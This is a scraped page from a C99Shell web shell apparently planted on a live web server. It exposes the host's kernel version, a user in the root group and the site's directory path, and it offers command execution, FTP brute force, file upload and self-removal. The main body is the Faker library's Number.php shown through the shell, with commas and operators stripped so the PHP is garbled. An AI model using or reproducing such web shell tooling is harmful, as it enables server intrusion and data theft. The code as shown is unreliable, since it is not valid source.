!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/portfolio.picotech.app/public_html/vendor/fakerphp/faker/src/Faker/Core/   drwxr-xr-x
Free 28.69 GB of 117.98 GB (24.31%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Number.php (1.91 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Faker\Core;

use 
Faker\Extension;

/**
 * @experimental This class is experimental and does not fall under our BC promise
 */
final class Number implements Extension\NumberExtension
{
    public function 
numberBetween(int $min 0int $max 2147483647): int
    
{
        
$int1 min($min$max);
        
$int2 max($min$max);

        return 
mt_rand($int1$int2);
    }

    public function 
randomDigit(): int
    
{
        return 
$this->numberBetween(09);
    }

    public function 
randomDigitNot(int $except): int
    
{
        
$result $this->numberBetween(08);

        if (
$result >= $except) {
            ++
$result;
        }

        return 
$result;
    }

    public function 
randomDigitNotZero(): int
    
{
        return 
$this->numberBetween(19);
    }

    public function 
randomFloat(?int $nbMaxDecimals nullfloat $min 0, ?float $max null): float
    
{
        if (
null === $nbMaxDecimals) {
            
$nbMaxDecimals $this->randomDigit();
        }

        if (
null === $max) {
            
$max $this->randomNumber();

            if (
$min $max) {
                
$max $min;
            }
        }

        if (
$min $max) {
            
$tmp $min;
            
$min $max;
            
$max $tmp;
        }

        return 
round($min $this->numberBetween() / mt_getrandmax() * ($max $min), $nbMaxDecimals);
    }

    public function 
randomNumber(int $nbDigits nullbool $strict false): int
    
{
        if (
null === $nbDigits) {
            
$nbDigits $this->randomDigitNotZero();
        }
        
$max 10 ** $nbDigits 1;

        if (
$max mt_getrandmax()) {
            throw new 
\InvalidArgumentException('randomNumber() can only generate numbers up to mt_getrandmax()');
        }

        if (
$strict) {
            return 
$this->numberBetween(10 ** ($nbDigits 1), $max);
        }

        return 
$this->numberBetween(0$max);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--